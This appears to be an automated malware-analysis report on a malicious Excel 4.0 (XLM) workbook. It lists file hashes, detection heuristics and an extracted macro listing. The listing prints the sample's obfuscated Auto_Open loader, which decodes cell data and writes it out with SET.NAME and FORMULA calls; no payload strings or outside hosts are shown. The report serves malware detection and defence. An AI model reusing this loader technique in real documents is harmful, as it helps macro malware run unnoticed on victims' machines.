Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1da300751399803…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:55 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 052d617864fbb69de49be0ad539ae49e SHA-1: 1b9b1efbba93d8f6bb19af3bec677dc0c1ceebb0 SHA-256: f1da3007513998030c4fd6391b327f7d744b0c5ddf412dc39862d769fe6115e6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6426 bytes
SHA-256: ef30f3adfb863b269d171bd0efa9da42e297ebd410488b426045e1e075356891
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  iPGYmC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B139 
' 0018     20 LABEL : Cell Value, String Constant - cNstl len=0 
' 0018     24 LABEL : Cell Value, String Constant - DVSRQWqIy len=0 
' 0018     24 LABEL : Cell Value, String Constant - efhFCkLJF len=0 
' 0018     26 LABEL : Cell Value, String Constant - fWuDRkFHNXy len=0 
' 0018     22 LABEL : Cell Value, String Constant - gHeJkmX len=0 
' 0018     22 LABEL : Cell Value, String Constant - gXSfxMG len=0 
' 0018     24 LABEL : Cell Value, String Constant - hYKFmOxle len=0 
' 0018     27 LABEL : Cell Value, String Constant - ICqnsRhxnRqM len=0 
' 0018     27 LABEL : Cell Value, String Constant - lTJkmAsjOTKx len=0 
' 0018     21 LABEL : Cell Value, String Constant - LwFIhP len=0 
' 0018     24 LABEL : Cell Value, String Constant - PLXZOpOhH len=0 
' 0018     21 LABEL : Cell Value, String Constant - qgiOZo len=0 
' 0018     22 LABEL : Cell Value, String Constant - rUqZPpV len=0 
' 0018     25 LABEL : Cell Value, String Constant - TfQUUYcuKd len=0 
' 0018     23 LABEL : Cell Value, String Constant - TkFEiXZW len=0 
' 0018     20 LABEL : Cell Value, String Constant - uwHDt len=0 
' 0018     20 LABEL : Cell Value, String Constant - UxsVz len=0 
' 0018     23 LABEL : Cell Value, String Constant - VFQCyBTY len=0 
' 0018     23 LABEL : Cell Value, String Constant - wqOcueQl len=0 
' 0018     23 LABEL : Cell Value, String Constant - yrjRxJWb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  iPGYmC,B56,"SET.NAME("PLXZOpOhH",VALUE("0"))",""
'  iPGYmC,B59,"SET.NAME("uwHDt",PLXZOpOhH)",""
'  iPGYmC,B62,"SET.NAME("UxsVz",PLXZOpOhH)",""
'  iPGYmC,B65,"SET.NAME("lTJkmAsjOTKx",COUNTA(cNstl))",""
'  iPGYmC,B68,"SET.NAME("ICqnsRhxnRqM",COUNTA(gXSfxMG))",""
'  iPGYmC,B72,[],""
'  iPGYmC,B74,"SET.NAME("qgiOZo","")",""
'  iPGYmC,B77,"uwHDt",""
'  iPGYmC,B81,"SET.NAME("DVSRQWqIy",HLOOKUP("*",cNstl,uwHDt,FALSE))",""
'  iPGYmC,B85,"wqOcueQl",""
'  iPGYmC,B90,"SET.NAME("TfQUUYcuKd",PLXZOpOhH)",""
'  iPGYmC,B93,[],""
'  iPGYmC,B97,"TfQUUYcuKd",""
'  iPGYmC,B100,"gHeJkmX",""
'  iPGYmC,B105,"hYKFmOxle",""
'  iPGYmC,B107,"LwFIhP",""
'  iPGYmC,B110,"SET.NAME("VFQCyBTY",VALUE(HLOOKUP("*",gXSfxMG,LwFIhP,FALSE)))",""
'  iPGYmC,B113,"TkFEiXZW",""
'  iPGYmC,B115,"qgiOZo",""
'  iPGYmC,B118,"UxsVz",""
'  iPGYmC,B120,NEXT(),""
'  iPGYmC,B123,"efhFCkLJF",""
'  iPGYmC,B126,"SET.NAME("f",INT(T(FORMULA(T(qgiOZo)&"",""&T(efhFCkLJF)))))",""
'  iPGYmC,B131,"rUqZPpV",""
'  iPGYmC,B133,NEXT(),""
'  iPGYmC,B137,RETURN(),""
'  iPGYmC,B167,"SET.NAME("yrjRxJWb",B56)",""
'  iPGYmC,B172,"cNstl",""
'  iPGYmC,B175,"SET.NAME("gXSfxMG",R79C15)",""
'  iPGYmC,B177,"SET.NAME("rUqZPpV",186)",""
'  iPGYmC,B180,"SET.NAME("fWuDRkFHNXy",2)",""
'  iPGYmC,B185,yrjRxJWb(),""
'  iPGYmC,B186,HALT(),""